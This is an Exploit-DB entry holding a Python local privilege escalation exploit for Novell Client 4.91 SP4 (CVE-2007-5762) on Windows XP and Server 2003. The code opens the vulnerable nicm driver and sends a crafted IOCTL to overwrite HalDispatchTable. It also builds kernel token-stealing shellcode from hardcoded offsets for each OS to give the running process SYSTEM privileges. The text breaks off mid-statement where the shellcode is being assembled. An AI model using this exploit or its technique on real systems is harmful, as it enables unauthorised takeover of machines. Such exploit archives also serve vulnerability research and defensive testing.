Exploit-DB #18914
Description: Novell Client 4.91 SP4 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2012-05-22
Author: sickness

Exploit:
# Novell Client 4.91 SP3/4 Privilege escalation exploit 
# Download link: http://download.novell.com/Download?buildid=SyZ1G2ti7wU~
#
# SecurityFocus: https://www.securityfocus.com/bid/27209/info
# CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5762
# Patch: http://download.novell.com/Download?buildid=4FmI89wOmg4~
# 
# Author: sickness@offensive-security.com
# Version Tested: Novell Client 4.91 SP4
# Targets: Exploit works on all service packs of Win2K3 and WinXP (except Windows XP SP1)
# Thanks: 
#		- g0tmi1k for helping me test out the exploit on as many versions of Windows as possible.
#		- ryujin for the help while developing the exploit.

from ctypes import *
import sys,struct,os
from optparse import OptionParser

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

def GetBase(drvname=None):
    EVIL_ARRAY            = 1024
    myarray               = c_ulong * EVIL_ARRAY 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48
    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddr in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddr: 
            Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[>] Retrieving %s information." % drvname
                    print "[>] %s base address: %s" % (drvname, hex(baseaddr))
                    return baseaddr
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[>] Retrieving Kernel information."
                    print "[>] Kernel version: ", drivername.value
                    print "[>] Kernel base address: %s" % hex(baseaddr) 
                    return (baseaddr, drivername.value)
    return None

if __name__ == '__main__':

	usage =  "%prog -o <target>"
        parser = OptionParser(usage=usage)
        parser.add_option("-o", type="string",
                  action="store", dest="target_os",
                  help="Available target operating systems: XP, 2K3")
        (options, args) = parser.parse_args()
        OS = options.target_os
        if not OS or OS.upper() not in ['XP','2K3']:
           parser.print_help()
           sys.exit()
        OS = OS.upper()
	
	GENERIC_READ = 0x80000000
	GENERIC_WRITE = 0x40000000
	OPEN_EXISTING = 0x3
	DEVICE = '\\\\.\\nicm'
	
	device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
	
	(krnlbase, kernelver) = GetBase()
	hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
	HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
	HalDispatchTable -= hKernel
	HalDispatchTable += krnlbase
	HalBase = GetBase("hal.dll")
	print "[>] HalDispatchTable address:", hex(HalDispatchTable)
	HalDispatchTable0x4 = HalDispatchTable + 0x4
	HalDispatchTable0x8 = HalDispatchTable0x4 + 0x4
	HalDispatchTable_0x14 = HalDispatchTable0x4 - 0x10

	if OS == "2K3":
            HaliQuerySystemInformation = HalBase + 0x1fa1e # Offset for 2003
            HalpSetSystemInformation   = HalBase + 0x21c60 # Offset for 2003

        else:
            HaliQuerySystemInformation = HalBase + 0x16bba # Offset for XP
            HalpSetSystemInformation   = HalBase + 0x19436# Offset for XP
            
        print "[>] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
        print "[>] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
	
	EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
	retn = c_ulong()
	inut_buffer = HalDispatchTable0x4 - 0x10 + 0x3 # Make the pwnsauce overwrite
	inut_size = 0x0
	output_buffer = 0x41414141 # Junk
	output_size = 0x0

        # Get offsets
        if OS == "2K3":
            _KPROCESS = "\x38" # Offset for 2003
            _TOKEN    = "\xd8" # Offset for 2003
            _UPID     = "\x94" # Offset for 2003
            _APLINKS  = "\x98" # Offset for 2003

        else:
            _KPROCESS = "\x44" # Offset for XP
            _TOKEN    = "\xc8" # Offset for XP
            _UPID     = "\x84" # Offset for XP
            _APLINKS  = "\x88" # Offset for XP

        # Restore the pointer
        pointer_restore =   "\x31\xc0" + \
                 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
                 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                 "\xa3" + struct.pack("L", HalDispatchTable0x4)

        # Make the evil token stealing
        steal_token =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x10"

        # Build the shellcode
        sc =